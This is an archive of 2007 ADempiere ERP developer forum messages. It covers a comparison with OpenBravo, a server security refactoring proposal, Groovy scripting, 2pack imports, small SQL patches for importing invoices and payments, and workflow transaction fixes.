OpenBravo developed entierly different techonolgy to build WEB Interface. Their techonoly is only web based whch at the moment has some drawbacks. Like Reports must be compiled in source code and Data Entry can't be done only with keyboard.

The biggest difference is community!!!

Kind regards,

Trifon

2007-06-15 19:56:58 UTC

Well plent of things are different, I will just list the major developments as reported in the press release of May Day edition:

1. Fix a large number of bugs inherited from the original fork

2. Evolve the solution to resolve product dependencies on proprietary or close products and/or services

3. Enhance the product functionality

The inventory of new features developed in the last 8 months that support the above objectives include:

- Fully GPL compatible software
- PostgreSQL and Oracle XE ports
- Jasper Reports integration
- WAN port
- Migration scripts allowing upgrades to any new ADempiere version
- Basic plug-in architecture based on 2pack
- Integration of openXpertYa POS
- Integration of jfreechart for dashboard display
- itext+JPedal integration to serve PDF
- Tango icons
- Several free language packs
- Online Help Manual and Tutorials
- Easier release of patches and customizations
- Hundreds of performance and functional improvements
- Hundreds of bug fixes

Just to mention the major areas of change.

Regards

Ramiro

2007-06-18 01:31:34 UTC

thank you... and...

what company consideration, that makes them must choose: OpenBravo?
and what company consideration, that makes them must choose: ADempiere?

or...where can i get such information:

thank you

2007-06-18 16:37:22 UTC

Hi,

a comparison the way you want is not written yet nor I believe it will be, because the development of Adempiere and Open Bravo is a very dynamical process. Such a comparison is only true for the moment it is written.

But how can you get on so you are able to decide? Well, gather the points relevant to your decision (total functionality? funcionalidad expansion?, community support? web functionality? DBs?) make subcategories of them and give points to Adempiere and Open Bravo according to your assesment.

Where do you find the information? Actually, the information people like Ramiro or Trifon gave to you is in the wiki, the forums and the Compiere manual. Not structured I must admit, but it is there. That means, all information regarding your question exists on Adempiere's side in the wiki or the forums and YOU can find it. I can not talk for Open Bravo. I recommend you to ask them.

If you can not find a specific topic, just do ask the community in this forum and you will surely get an answer.

By the way, if you write a documentation to support your decision, I beg you to publish it on our wiki. On the one hand, you will help others to make their decision (like we are helping you here making yours). And the other side, if you decide against Adempiere and you have documented why, you will give us the requirements to get better. This would be in my opinion another point in favour of Adempiere.

Best regards,
Mario Calderón

2007-06-19 05:01:22 UTC

The helicopter level issues with any software are the followings:

1) Sustaining Power.

All software is about ongoing non-stop development. What is your development philosophy? The term Open Development has become a commercialised word as

everyone wants to advertise themselves as Open now. Even Microsoft, Oracle, IBM u name it. The word CLOSE has become so politically incorrect that you just have to remove all of them from your resume or whitepaper. But having said that, we here are the only party that can distinguished itself as non-commercial Open Source i.e. who don not receive direct funding and thus has no need to pay back any investor. We are not owned by any single individual, company or group of companies. So no company can attempt to sell the project off nor can approach any funder to hoodwink so. We also received alot of volunteer contributions meaning they again do not need to wait for payments from the project. This may sound scary, but it is. That is hapening to Linux. Its like the open source suicide army. They keep springing up and no one pays them nor any leader controls them. Guess who will still be around in 5 years or 10 yrs time? So this is a question of long termism. We intend to be perpetually eternal and unsustained by anything but pure passion and volunteerism.

2) Bugs-free.

How much do bugs and how fast they get fixed? For Microsoft it is the standard: There are lots of them and they take lots of work to fix them. So a community open source will not fare better. But with many eyeballs and in an open fashion as you can see here in the trackers, they get solved faster and better. So bug for bug, we, you included get to squash them. Remember this. Bugs are here to stay. Its part of software life. It is how you deal with them differentiates your sustenance to keep squashing them. I am not worried about how bad the software started as. But how long can we go on facing bugs with paid or limited eyeballs. We need an army of volunteers. To build that army has been my obsession. Its my only known dubious skillset if you want to say so.

3) Sleeping with the Enemy.

People think that when you have a religion then you are a fanatic that will not sleep with the enemy. Wrong. Our religion is agnostic to the enemy. We can sleep with Microsoft or SAP even. We are open to collaboration. Big brothers are already seriously considering the new game and changing their rules as we speak. Why cant we have linux servers and MS clients? It makes more TCO sense for even European nations that has return the verdict that all out Open Source costs more than pragmatic deployment. Why cant large SAP installations ask its newer small subsidiaries or Business Units below USD50m turnover to use ADempiere and loosely couple back? I am seeing a future where the survivors are those who are willing to ask us out. If they don't Google will. They better hurry. Don't say i didnt warn you.

red1

2007-06-20 09:05:09 UTC

thank you... red1

>> All software is about ongoing non-stop development. What is your development
>> philosophy?

determinations and guarantie...

because this is the Bazaar Way, i can't ask for ADempiere guarantee don't i?
you may say:
cause in ADempiere, i am the guarantee :-)

>> How much do bugs and how fast they get fixed?
>> For Microsoft it is the standard...

Microsoft ... what? Office? or?
it seem all the Microsoft bugs is far from standart quality assurance,
i mean, the bugs is on advanced level...

if i am a programmer,
i won't deliver the buggie software to my client,
so... that bugs will cause their business operations halted...
because this is the Bazaar Way, i can't ask for ADempiere quality assurance don't i?
you may say:
cause in ADempiere, i am the quality assurance :-)

i ask the helicopter level questions because...
i am sure that you give your clients guarantee and quality assurance,
and i just want to be like you...
how is the fastest steps?

>> Why can't large SAP installations ask its newer small subsidiaries or Business Units
>> below USD50m turnover to use ADempiere and loosely couple back?

sorry, would you please to explain the last question...

thank you...

2007-06-20 09:51:24 UTC

Oneway,
Some of us here can make such a guarantee based on some service level agreement. For example there can be about USD10k per annum service contract to any installation of adempiere worldwide to be warranted against bugs or resolved within 24 hours remotely subject to a contract with terms and conditions.

The last question is about a community been agnostic or indifferent to whether you are SAP or Oracle based. The idea is to collaborate together even in mixed markets. Some quarters still regard that been open means open warfare over business territory. It is if look upon as a field where one player can be a winner take all, which in fact no player can ever take all. It can only focus on a highly specific level. Thus for example SAP cannot take on cases that means about less than USD100k value per implementation which can be worthy for other small implementors. And if SAP facilitates that by inviting such a project as ours to align to its big setups and systems will make it more easier to carry out, thus saving the common client and all round winning. SAP will then able to

easier focus on its hi-worth territory without bothering about low lying ones which it is asking others to take care of. It can even provide all level support with internal agreements with Open Source ERP consultants. This is what i see to be the ideal logical outcome of the new market impacted by Community Open Source.

Take the case of Compiere also. It has a good future if it links back up with the community here. It can collaborate on software design and allow the community to contribute further addons and enhancements as well as bug fixes and testings. It then can focus on choice projects and survive well on that as a faster market player. Otherwise the forking will grow further apart and its survival will be uncertain. It has to spent much more to get a community leadership back and even so, it will be forced to change its business model stance, which are all very costly and undesired. It may still try to go for a sellout to big brothers which wouldnt easily take it on with forks thriving off it rather than with it. It can hope for an IPO which wont fetch good market buyin again due to the viral nature of GPL been offshooting easily anywhere the wind blows.

Take for example Open Bravo, which is a highly successful and well thought out fork of earlier Compiere. But with 70 developers in its payroll, that development model is under stress as it can do better with an Open Development model where work is done by the communty rather than paid staff that wont stay around when the payroll slumps. I am not hoping for that to happen. I am just saying that we don't have such a disadvantage to start off to achieve the same speed and quality as more commercial buddies are enjoying. Somehow volunteerism works as well for wikipedia as it seems to be for us.

The good thing here under a community based Open Source that is truly free, unpatronised by any commercial party, we thus are open to all the above to sit with us and talk about open collaboration. The bazaar as envisioned by Eric Raymond has a very interesting nature. It also means it can be a self-sustaining itch on the scalp.

For you it raises some curiosity. For me, it raises inspiration to satisfy such curiosity.

redl

2007-06-20 17:12:05 UTC

Hi all

I have a short fix for a minor bug related to virtual columns. This is my first fix for Adempiere, so I would like to know which is the better way to submit it.
Thanks!

Olaf

2007-06-20 17:22:58 UTC

Hi Olaf,

>I have a short fix for a minor bug related to virtual columns. This is my first fix for Adempiere, so I would like to >know which is the better way to submit it.
>Thanks!

welcome to Adempiere and thank's for your will to help and contribute.
Right palce is Bugs tracking section:
https://sourceforge.net/tracker/?group_id=176962&atid=879332

Kind regards,
Trifon

2007-06-19 20:12:50 UTC

Finally I got my new adsl line and I am back online.

So here is my proposal to for fixing Adempiere's security and some other things:

1. Remove all other connection profiles except wan.
2. Modify wan profile to get database connections from jboss managed datasource.
3. Remove unneeded configuration parameters and move others to jboss jndi.
4. Modify client to authenticate user using jaas before it gets database access.
5. Remove jboss and install dirs from adempiere
6. Modify build scripts to produce one .ear file.
7. Refactor ejb beans to be ejb3 beans (just to make things easier).
8. Modify classes in org.compiere.server to use ejb3 timer methods instead threads (making own threads inside j2ee container is risky business)
9. Make Trx.java class to be just wrapper for JTA transactions.
10. Implement server side cache using interceptors and jboss cache.
11. Store user session data in Statefull Session bean - then same session can be accessed from client and server side. Solves also some webclient session issues.
12. Move logic from sqlj classes to ejb beans.

I guess that this is what Hengsin has been planning all the time. But I think it is now time to break some eggs and drop old 2 tier stuff. Since 3.2 release is going to be maintained we should be able to break stuff.

By accepting my proposal we get following improvements:

1. Not yet good, but better security
2. Easier installation procedure (download jboss, configure database and copy ear-file into deployment directory)
3. Easier to configure multiple adempiere instances inside jboss.
4. Enables usage of Jboss clustering (transactions and cache)
5. Allows adempiere to use jboss database clustering support.
6. More efficient cache.
7. Sets up base for 3tier development.
8. Allows usage of SSO(single sign on) techniques.

9. Reduces amount of source code and makes it easier to understand.
10. Makes adempiere distribution much smaller.

Who is going to do it ?

I can put my 10h/day for this proposal if it is ok to CC.

P.S. Hengsin's feedback/critics/advices needed.

-kontro-

2007-06-19 22:39:31 UTC

Hi Timo,

>Who is going to do it ?

>

>I can put my 10h/day for this proposal if it is ok to CC.

I agree, but i would like ot see it first in branch and after this in trunk.

Kind regards,
Trifon

2007-06-20 02:38:32 UTC

Hi Kontro,

>1. Remove all other connection profiles except wan.

>2. Modify wan profile to get database connections from jboss managed datasource.

If the community agree, this is ok for me. However, I think it might be better if we can make this configurable, i.e refactor the code to probably separate the 2tier and 3tier part and make it configurable so the implementator can decide what connection profile is available.

>3. Remove unneeded configuration parameters and move others to jboss jndi.

How about client preference ?

>4. Modify client to authenticate user using jaas before it gets database access.

Already the case with the current wan profile implementation.

>5. Remove jboss and install dirs from adempiere

We can have bundle created for jboss, weblogic, etc . While the packaging mechanism probably need some enhancement, I don't see the need to remove this.

>6. Modify build scripts to produce one .ear file

>7. Refactor ejb beans to be ejb3 beans (just to make things easier).

ok.

>8. Modify classes in org.compiere.server to use ejb3 timer methods instead threads
I would suggest timer for scheduling of task and a message driven mechanism for the
account posting processor.

>9. Make Trx.java class to be just wrapper for JTA transactions.

>10. Implement server side cache using interceptors and jboss cache.

>11. Store user session data in Statefull Session bean

ok.

>12. Move logic from sqlj classes to ejb beans.

Don't agree on this, this break backward compatibility and add performance overhead.
sqlj function are being use in sql statement everywhere, don't think we should move this.

Also, it will be good if the following can be handle along the way as well:

- * Remove dead code from trunk. To me, this is one of the biggest issue for new comer to understand the current code.

- * Unit testing coverage. It is risky to apply big changes without extensive unit testing coverage.

- * Extract the use of numeric literal in code to constant in interface.

- * Move business logic code out from the client package.

- * Javadoc, many code are not properly documented.

For visibility to the community, it would be good if you can have a scratch pad and status page on wiki for this. This would also make it easier for other to jump in and help.

For security, this is a step forward, however the fastest way to have good security without a major rewrite of adempiere is to finish the development of the web client. In fact, a 2 tier web client build on top of the current code base will still be more secure than the java swing client after the proposed changes have been make.

Regards,

Low

2007-06-20 05:16:43 UTC

Hi Kontro,

>>1. Remove all other connection profiles except wan.

>>2. Modify wan profile to get database connections from jboss managed datasource.

>If the community agree, this is ok for me. However, I think it might be better if we can make this configurable, i.e refactor the code >to probably separate the 2tier and 3tier part and make it configurable so the implementator can decide what connection profile is >available.

Most usecases can be configured by jndi properties (local connection/ tunneling over https). And if we allow multiple connection profiles it makes things more complicated in future.

>>3. Remove unneeded configuration parameters and move others to jboss jndi.

>How about client preference ?

For connecting server client needs only server address. For storing window positions etc. java.util.prefs would be fine.

>>4. Modify client to authenticate user using jaas before it gets database access.

>Already the case with the current wan profile implementation.

Good then we only need to make example configuration files for different use cases.

>>5. Remove jboss and install dirs from adempiere

>We can have bundle created for jboss, weblogic, etc . While the packaging mechanism probably need some enhancement, I don't see the >need to remove this.

Since installing jboss is so easy there is no need us to distribute it. And easiest way of supporting multiple servers is distributing application in ear-format so that j2ee server's own tools can be used for deploying/configurin.

Stuff in install dir is mostly for setting up database connection properties which would became obsolete.

>6. Modify build scripts to produce one .ear file

>7. Refactor ejb beans to be ejb3 beans (just to make things easier).

ok.

>>8. Modify classes in org.compiere.server to use ejb3 timer methods instead threads

>I would suggest timer for scheduling of task and a message driven mechanism for the account posting processor.

I agree.

>9. Make Trx.java class to be just wrapper for JTA transactions.

>10. Implement server side cache using interceptors and jboss cache.

>11. Store user session data in Statefull Session bean

ok.

>>12. Move logic from sqlj classes to ejb beans.

>Don't agree on this, this break backward compatibility and add performance overhead. sqlj function are being use in sql statement >everywhere, don't think we should move this.

By implementing smart cache for example BOM stuff performance would improve. And yes it needs changes in many places, but is only way to increase number of supported databases.

>Also, it will be good if the following can be handle along the way as well:

>* Remove dead code from trunk. To me, this is one of the biggest issue for new comer

to understand the current code.

>* Unit testing coverage. It is risky to apply big changes without extensive unit testing coverage.

>* Extract the use of numeric literal in code to constant in interface.

>* Move business logic code out from the client package.

>* Javadoc, many code are not properly documented.

I agree.

>For visibility to the community, it would be good if you can have a scratch pad and status page on wiki for this. This would also make >it easier for other to jump in and help.

Or maybe bunch of feature requests on tracker would fit better.

>For security, this is a step forward, however the fastest way to have good security without a major rewrite of adempiere is to finish >the development of the web client. In fact, a 2 tier web client build on top of the current code base will still be more secure than >the java swing client after the proposed changes have been make.

Totally agree. This proposal (I think) will make also webclient development easier and will be foundation for having common ejb interface for all clients.

-kontro-

2007-06-20 05:22:29 UTC

>I agree, but i would like ot see it first in branch and after this in trunk.

Branch is fine.

These changes are going to break some things in webclients and some other extensions. Making changes in trunk would allow/force everybody to fix broken things in their pet projects right away.

Using branch would make transition period longer.

Because these changes are going to fix security problems I would like to see them in next release.

-kontro-

2007-06-20 06:30:15 UTC

The propose changes improve security but also change the setup and deployment of the application, remove a features (the LAN connection profile) and likely to break some backward compatibility. This is a significant, high risk (destabilization, backward

compatibility) changes and should happen in branch first. It should only be merge back to trunk after it is reasonably stable and with positive feedback from the community.

As for what should be in the next release, the community have not reach any consensus on the next release plan and schedule, I guess that belongs to a separate discussion. Meanwhile, we want to keep the trunk stable and have experimental or high risk changes happen in branch first.

Regards,
Low

2007-06-20 09:34:12 UTC

Hi Timo,

>Using branch would make transition period longer.

>

>Because these changes are going to fix security problems I would like to see them in next release.

I would like firts to see and test vchanges and after this community can decide if they will be accepted.

Kind regards,
Trifon

2007-06-20 21:27:03 UTC

I am thinking about making CConnection and some other classes abstract and providing different subclasses for serverside and client side.

That would reduce usage of if clauses and make code cleaner.

-kontro-

2007-06-20 21:22:26 UTC

Somebody might find this information useful.

Groovy supports interfaces defined in javax.script package. And since groovy understands also normal java syntax one can store normal java source code in text file and use it runtime. Or generate source at runtime and make it run as normal java object.

-kontro-

2007-06-20 21:40:24 UTC

Hi Timo,

>Groovy supports interfaces defined in javax.script package. And since groovy understands also normal java syntax one >can store normal java source code in text file and use it runtime. Or generate source at runtime and make it run as >normal java object.

This sounds interesting. But generally i think that all script languages can invoke java classes defined in text files.

Like Beanshell in this example:

<http://www.beanshell.org/examples/actionhandler.html>

Kind regards,
Trifon

2007-06-20 21:48:48 UTC

Yes Trifon.

Trick is that groovy compiles that sourcecode into java bytecode. It widens available usage scenarios.

And those groovy objects/classes can be referenced by other java objects. Typically beanshell manages java objects but can java objects manage beanshell objects ?

-kontro-

2007-06-20 21:49:22 UTC

This sounds similar to what python can do.

<http://www.jython.org/docs/subclassing.html>

Regards

2007-06-20 21:54:17 UTC

Hi Timo,

>Trick is that groovy compiles that sourcecode into java bytecode. It widens available usage scenarios.

>

>And those groovy objects/classes can be referenced by other java objects. Typically beanshell manages java objects but >can java objects manage beanshell objects ?

Yes, this is difference with Beanshell indeed.

Beanshell can only implement interface and can't be referenced as normal class from java code.

Thank's for explanation.

Kind regards,
Trifon

2007-06-09 00:19:27 UTC

Hi All,

I am wanting to make the import of adempiere actual create/modify the tables that it is importing. On the import there is a check box, I propose to add another check box that says to modify/create tables imported. Does that sound good? Without this you have to manually go into the application dictionary and hunt for the changes/new tables and synchronize each field/table. That is way too much work. Who supports this approach?

2007-06-09 20:23:34 UTC

Hi Tim,

Good proposal! It's strange that modifications to AD are only at the model-level so that there should be a further synchronisation process to apply those changes to database. I wonder if there was any intention in that.

What do you think?

Warm regards,
Bahman

2007-06-09 20:29:01 UTC

Tim, I second your idea.

Thanks.
AS

2007-06-10 04:54:19 UTC

Hola Tim,

I tot that such things were already there cos 2pack inherit from Marco's? At least its there during Marco (XML2AD) and Trifon (ADCK). Where targets of AD_Table/Col in tables' values are updated or created where needed. Or maybe my memory fails me. Or maybe u re talking about new WF tables' values which u are now pioneering. This is just to prompt u in case such routines already existed elsewhere and u merely reuse them.

There may be things to look out for (as i tot was done by Marco/Trifon):

1) Does it do a exist check first? In case of reruns, it may hit a unique constraint, and an update clause can be good. It can be update first, where exception do an insert. This idea was also already in JJ's Import routines.

2) If the 2pack module is removed, should we also remove those table records created? 2pack has a 'Changes Done' file to keep track of changes and allow undo afaik.

Anyway, i give u a super-duper +1 vote here! U have our humble support.

red1

2007-06-10 13:57:10 UTC

Hi Tim,

my expectations with 2pack is that it does exactly import what the maintainer of a package intended during definition/creation of a package.

My contrary experience with my work on BLZPack is for example that 2pack is generating a sequence for a table during import which does not exist in the original setup. This table contains reference data with clearly defined IDs which are then corrupted after the import.

How do I get rid of this sequence? In that I have to declare in the package setup that I want a sequence and then it is created. And it is not created if I do not declare it. But 2pack does not work this way at the moment.

I strongly support to separate such automatism if implemented. But my general feeling is that 2pack should use a philosophy of explicit declaration of content and action and not a kind of implicit do-what-I-may-have-had-in-mind automatic correction or enhancement at the users end. We should first make sure that all necessary "explicit features" are existing and do work correctly before we automate part of them because it could make life easier for a package maintainer.

And I do see some more implications here because with such an automatism the person who wants to use a package has to clearly know whether automatic generation has to be selected or not. Trial and error and frustration could be the result.

So I am against this proposal.

Regards, Dirk

2007-06-11 20:39:29 UTC

Hi Tim!

I think is good idea.

The important subject here is can implement to any DB, I think a good solution is use DDLUtils<http://adempiere.svn.sourceforge.net/viewvc/adempiere/contributions/DdlUtils/>

this way we can modify any DDL structure use xml.

Victor Perez

CEO

<http://www.e-evolution.com>

2007-06-21 06:02:21 UTC

- > I am wanting to make the import of adempiere actual create/modify the
- > tables that it is importing. On the import there is a check box, I
- > propose to add another check box that says to modify/create tables
- > imported. Does that sound good? Without this you have to manually
- > go into the application dictionary and hunt for the changes/new tables
- > and synchronize each field/table. That is way too much work. Who
- > supports this approach?

Hi Tim, I think what you need is to set the getIsSyncDatabase attribute on column tag to "Y". This way the create/alter statements are automatically executed against database.

This must work without problems, although my recommendation is to have getIsSyncDatabase="N" and create/alter the needed tables via SQLStatement tags. This way you can get grained control on constraints what you don't have creating the tables via adempiere.

Regards,

Carlos Ruiz

2007-06-21 13:49:02 UTC

Hi All,

When we import invoice, the paymentterm_id is not imported for those business partner, for which we separately set paymentterm in 'business partner-> customer' window (c_bpartner table). We fix this with new update statement in ImportInvoice.java file.

So, when we import invoice and business partner has no paymentterm_id, in our case the correct way is, first to check if business partner have define paymentterm_id in c_bpartner table (business partner -> customer -> payment term window).

1. If 'Yes' then process 'Import Invoice' should get the paymentterm_id from c_bpartner table
2. if 'No' then should get default paymentterm (paymentterm_id='Y')

For this reason we add into the 'ImportInvoice.java' process that first have to update I_Invoice table for those business partner which have paymentterm defined in c_bpartner table.

I will appreciate if you will include following statement into next release.

Regards,
Bojana

```
--- ImportInvoice.java.orig 2007-06-11 15:28:22.000000000 +0200
+++ ImportInvoice.java 2007-06-11 15:27:45.000000000 +0200
@@ -225,6 +225,13 @@
```

```
+ // Payment Term
+ sql = new StringBuffer ("UPDATE I_Invoice o "
+ + "SET C_PaymentTerm_ID=(SELECT C_PaymentTerm_ID FROM C_BPartner bp"
+ + " WHERE bp.C_BPartner_ID=o.C_BPartner_ID or bp.value=o.bpartnervalue AND
bp.C_PaymentTerm_ID is not null) "
+ + "WHERE I_IsImported<>'Y'").append (clientCheck);
+ no = DB.executeUpdate(sql.toString(), get_TrxName());
+ log.fine("Set BP PaymentTerm from BP=" + no);
+ //
```

2007-06-21 15:23:01 UTC

Hi Bojana, I think is important to preserve the payment term when PaymentTermValue or ID is explicitly set (on file or window).

I would suggest to change the where of your patch from
+ "WHERE I_IsImported<>'Y'").append (clientCheck);
to
+ "WHERE C_PaymentTerm_ID IS NULL AND PaymentTermValue IS NULL AND
I_IsImported<>'Y'").append (clientCheck);

What do you think?

Regards,

Carlos Ruiz - globalqss
<http://globalqss.com>

2007-06-22 06:51:15 UTC

Hi Carlos,

Yes, i agree with you, your solution is better.

Thank you.

Regards, Bojana

2007-06-22 07:41:07 UTC

Hi,

we start to import payment and we have to small problem.

First problem was, that we import a lot of payment at once, but ImportPayment process import only those payment which have a DocumentNo. I think that the better way is, that if DocumentNo is set then process should get this DocumentNo, if DocumentNo is not set the DocumentNo should incremental grow up.

So i made following change in ImportPayment.java proces:

@@ -423,7 +433,8 @@

// New PaymentM

MPayment payment = new MPayment (m_ctx, 0, get_TrxName());

payment.setAD_Org_ID(imp.getAD_Org_ID());

- payment.setDocumentNo(imp.getDocumentNo());

+ if (imp.getDocumentNo() != null)

+ payment.setDocumentNo(imp.getDocumentNo());

payment.setPONum(imp.getPONum());

payment.setTrxType(imp.getTrxType());

The second problem for us was, that in import file we didn't have the C_Charge_ID, we have only ChargeName, but ImportPayment process dont know to get C_Charge_ID for ChargeName, so we add new update statement into ImportPayment process:

@@ -174,6 +174,16 @@

+

+ // Set Charge

+ sql = new StringBuffer ("UPDATE I_Payment i "

+ + "SET C_Charge_ID=(SELECT C_Charge_ID FROM C_Charge c"

+ + " WHERE i.ChargeName=c.Name AND c.AD_Client_ID IN (0,i.AD_Client_ID)) "

+ + " WHERE C_Charge_ID IS NULL"

+ + " AND I_IsImported<>'Y'").append(clientCheck);

+ no = DB.executeUpdate(sql.toString(), get_TrxName());

+ if (no != 0)

+ log.info("Invalid ChargeName=" + no);

I will be very thankful to you if you include these changes into next release.

Best Regards,
Bojana

2007-06-22 04:16:05 UTC

Hi all,

The workbench window type is never completed and make the current swing client code much more difficult to read and follow than it should. I would like to suggest to remove that from trunk to make future maintenance and enhancement easier.

Thoughts ?

Regards,
Low

2007-06-22 08:39:39 UTC

Hi,

I think you are right - +1 to clean up the code.

Regards,
Karsten

2007-06-22 09:29:39 UTC

Hi Low,

>The workbench window type is never completed and make the current swing client code much >more difficult to read and follow than it should. I would like to suggest to remove that >from trunk to make future maintenance and enhancement easier.

>

>Thoughts ?

Vefore removing this code i would like to ask if there is any good idea in this workbench window? Why Compiere Inc. started making it?

Generaly i agree to remove this code.

Kind regards,
Trifon

2007-06-22 09:42:18 UTC

Hi Trifon,

I guess they just saw it in eclipse and they wanted something similar..

Regards,
Karsten

2007-06-22 13:49:04 UTC

Hi, in order to take a better informed decision, please can someone please clarify me:

- 1 - what's the goal of workbench?
- 2 - what could be the % of completion of this work?
- 3 - how could we use it if completed?
- 4 - is it compatible with web UI?

Regards,

Carlos Ruiz

2007-06-22 16:50:13 UTC

Digging a little deeper into the workflow code and adding to my discussion in "Making Workflows more predictable"

(http://sourceforge.net/forum/forum.php?thread_id=1753862&forum_id=610548) I got the uneasy feeling that workflow steps are currently not "atomic", i.e. it is currently possible, that the status of a workflow activity changes, but the status of an attached doc or the setting of a variable value might not be changed in sync, provided an exception occurs. This becomes obvious in the 'run()' method of 'MWFActivity.java' and some of the changes by teo_sarca [1708835] and vpj-cd. I think there is a chance to remedy the situation with a few patches. I tested against PostgreSQL 8.2 (on Windows) to make sure, that the DB lockups which Victor observed do not occur.

Currently I have the slightly problematic situation, that my changes touch the very same files which were changed in "Making Workflows more predictable"

(http://sourceforge.net/forum/forum.php?thread_id=1753862&forum_id=610548), so I have deactivated the last tracker item [1734897] "Making Workflows more predictable" and created a new one with all patches combined: [1741750] "Atomic Workflow Activities + Making WFs more Predictable"

(http://sourceforge.net/tracker/index.php?func=detail&aid=1741750&group_id=176962&atid=879334).

Of course: This touches ADempiere core functionality and must thoroughly tested. I did my tests mostly on the requisition workflow of the Garden World Client with some extensions. It is my firm belief that both changes ("Making Workflows more predictable" and " Atomic Workflow Activities") present an improvement for ADempiere and might pave the way to further extensions and clarifications of the workflow subsystem.

Is anyone going to bite? I'm ready to argue for my cause!

Here is a description of the additional changes over those described in "Making

Workflows more predictable". (Duplicated in the patch set!)

1.

--

The most important change, which triggers most of the other changes, happens in the 'run()' method of 'MWFActivity.java'. It is changed to that setting the workflow state of the activity via 'setWFState(...)' and performing the workload of the activity via 'performWork(...)' happens in a closed transaction. Should an exception occur (or no commit) then everything is rolled back.

To make this possible it was necessary to change the methods 'setWFState(...)' and 'setVariable(...)' to take the current transaction into account.

In order to avoid a DB lockup it was also necessary to set the current process of an activity prior to calling 'MWFActivity.setWFState(...)' because the process was not set in the constructor method used (see 'MWFProcess.setWFState(...)'). For this a new helper method 'setProcess(...)' is introduced.

2.

--

In 'MWFProcess.checkActivities(...)' closed activities trigger the start of new activities. This must not happen for uncommitted activities because those might still be rolled back. As a consequence 'checkActivities(...)' should read the activities via 'getActivities(...)' outside of the current transaction context. For this a new method signature for 'getActivities(...)' taking the current transaction into account has to be created. A wrapper method with the same signature as the old method is created to stay compatible.

Additionally the workflow state should be set inside of a transaction context if transaction is active. For this the method signature of 'MWFProcess.setWFState(...)' is extended to take a given transaction into account. Just as above a wrapper method with the same signature as the old method is created to stay compatible.

3.

--

My attempts to manage workflow processes or activities via the buttons in the corresponding windows/tabs were not really successfull. As a first try to improve this situation it seems sensible to explicitly set the 'Processed' flag of an activity in 'WFActivityManage.doIt()'. Otherwise the activity is left in an "unmanageable" state which lead to the situation that a new workflow for a requisition can not be started and the whole document has be entered again.

2007-06-24 11:32:50 UTC

Dear Adempiere developers,

all we work by different way which makes our life difficult from time to time. Issues comes when we want to save our settings into SVN Server. I think that common

approach in order to solve this problem is:

SVN server to hold one template like base/GenerateModel-general.launch. Each developer can copy this template into GenerateModel.launch and set his own settings.

Please let me know what you think.

Kind regards,
Trifon

2007-06-24 18:02:35 UTC

Perhaps we could create an eclipse directory for files such as the launch files and then 'wire' them to the project_loc rather than the workspace_loc. That would solve most of the issues.

The files to watch out for are the Adempiere.properties I think - as the developer user may have different permissions and use a different directory than the Adempiere server user. Would it be possible to treat these two property files separately?

M

2007-06-24 19:36:33 UTC

Hi Michael,

>Perhaps we could create an eclipse directory for files such as the launch files and then 'wire' them to the >project_loc rather than the workspace_loc. That would solve most of the issues.

I'm sorry but this is not clear to me. What means "'wire' them to the >project_loc rather than the workspace_loc."?

Let me describe my structure:

<Main Foder>/adempiere-3.1.6/ALL FOLDERS from Adempiere here(/adempiere, /base, /client, /data, ...)

<Main Foder>/adempiere-3.2.0/ALL FOLDERS from Adempiere here

<Main Foder>/adempiere-trunk/ALL FOLDERS from Adempiere here

In context of Eclipse IDE, folders "adempiere-3.2.0" are Eclipse workspaces.

I'm trying to put all files specific for given installation/version under one central folder like "adempiere-3.2.0".

>The files to watch out for are the Adempiere.properties I think - as the developer user may have different permissions >and use a different directory than the Adempiere server user. Would it be possible to treat these two property files >separately?

By Default Adempiere.properties are stored in <MainFoder>/adempiere-

3.2.0/adempiere/Adempiere/Adempiere/Adempiere.properties

Developer can change location of properties file, but then he need to edit Adempiere.launch file and GenerateModel.launch.

Kind regards,
Trifon

2007-06-22 10:48:44 UTC

how hard is it,
to add another multi's to the multi's?

i mean: multi-clients,
which with same code
client can access ADempiere
from their PDA or Web Explorer or Telnet or Messaging or Desktop PC...
(just one code for multi-clients)

thank you...

2007-06-23 10:15:23 UTC

I beleive it is possible. The posterita team are already doing it and it is also possible I believe that we can use the ZK mobile toolkit for PDA's and mobile phones.

the mobile toolkit is still in beta and can reuse most of the code that the posterita team has developed

Regards

Mutha

2007-06-23 15:40:20 UTC

Why one would like to do that ?

-kontro-

2007-06-25 01:51:44 UTC

>> Why one would like to do that ?

efficiency maybe?
so clients do not have to waste any time,
to waiting for: further developing,

if they need ADempiere report on their PDA OR
thin client which only can do Telnet...

thank you...

2007-06-07 11:55:26 UTC

hi every1,

I get this wierd error msg when I start a process: "Timeout - try to check results later" it is a wierd because the proces doesnt do anything what would take long and it does what it is supposed to do but still trows this error..

any idee?

ps. the process starts a PLSQL procedure..

2007-06-25 14:05:30 UTC

is there something that plsql needs to give back to adempiere so adempiere knows that everything is ok?

2007-06-25 15:09:57 UTC

Hello,

I have installed in our system the files related to WebUI as given in <http://www.adempiere.com/wiki/index.php/WebUI>. Now when i start the server and try log in using webUI, the log in screen does not show the list of client

Can any one mention how to troubleshoot this, the WebUI, using Eclipse. What is the procedure to follow to setup breakpoints in eclipse for WebUI & the Webserver

Thanks

vpranger

2007-06-25 14:22:32 UTC

Hi,

How would somebody donate a functionality that would also require changes on the DB?
What are the procedures that we will have to follow?

Thanks & Regards,
Vishee

2007-06-25 15:11:30 UTC

Hi Vishee, you can take a look at migration directory to see the current implementation of migration scripts (not the best but is working until now).

Karsten also opened a wiki page to reserve the system ID's (>50000 and <1000000)
http://adempiere.com/wiki/index.php/DevGuide_ID-Number_ranges

Tomorrow we're going to have an IRC meeting to discuss the issue:
https://sourceforge.net/forum/forum.php?thread_id=1762425&forum_id=611167
Hope to see you there.

Regards,

Carlos Ruiz

2007-06-26 08:15:38 UTC

Hi Carlos, thanks for the updates.

Regards,
Vishee

2007-06-26 16:02:45 UTC

Hello,
I am testing the Attachment Functionality. It is a nice feature.
Specifically, I want to store attachments to the File System using Karsten's contribution.

I am working on Linux 3.10, Oracle 10g and Adempiere 3.2.0 latest revision.
Here the results of the test:

1.- Attachment Storage Path Definition

Logged as System Administrator, I defined in the Client Window the field "Unix Attachment Path".

Before the window shows up, I get the following warning:

```
-----> MRole.saveWarning: AccessTableNoView - Required=2(Client Data) !=  
UserLevel=S [11]
```

2.- Loading attachments

I press the button "Load" and select a file (for example "myFile.txt").
After pressing the button "Save Attachment to Disk", I must specify where the attachment should be stored. I expect that attachments should be stored at the directory specified in the Client window above.

Otherwise, what should the intention of the field Unix Attachment Path ?

3.- Opening attachments

3a.- When I try to open an attachment, I get an exception:

```
=====> MAttachmentEntry.getFile: getFile [11]
java.io.FileNotFoundException: /tmpDaten.txt (Permission denied)
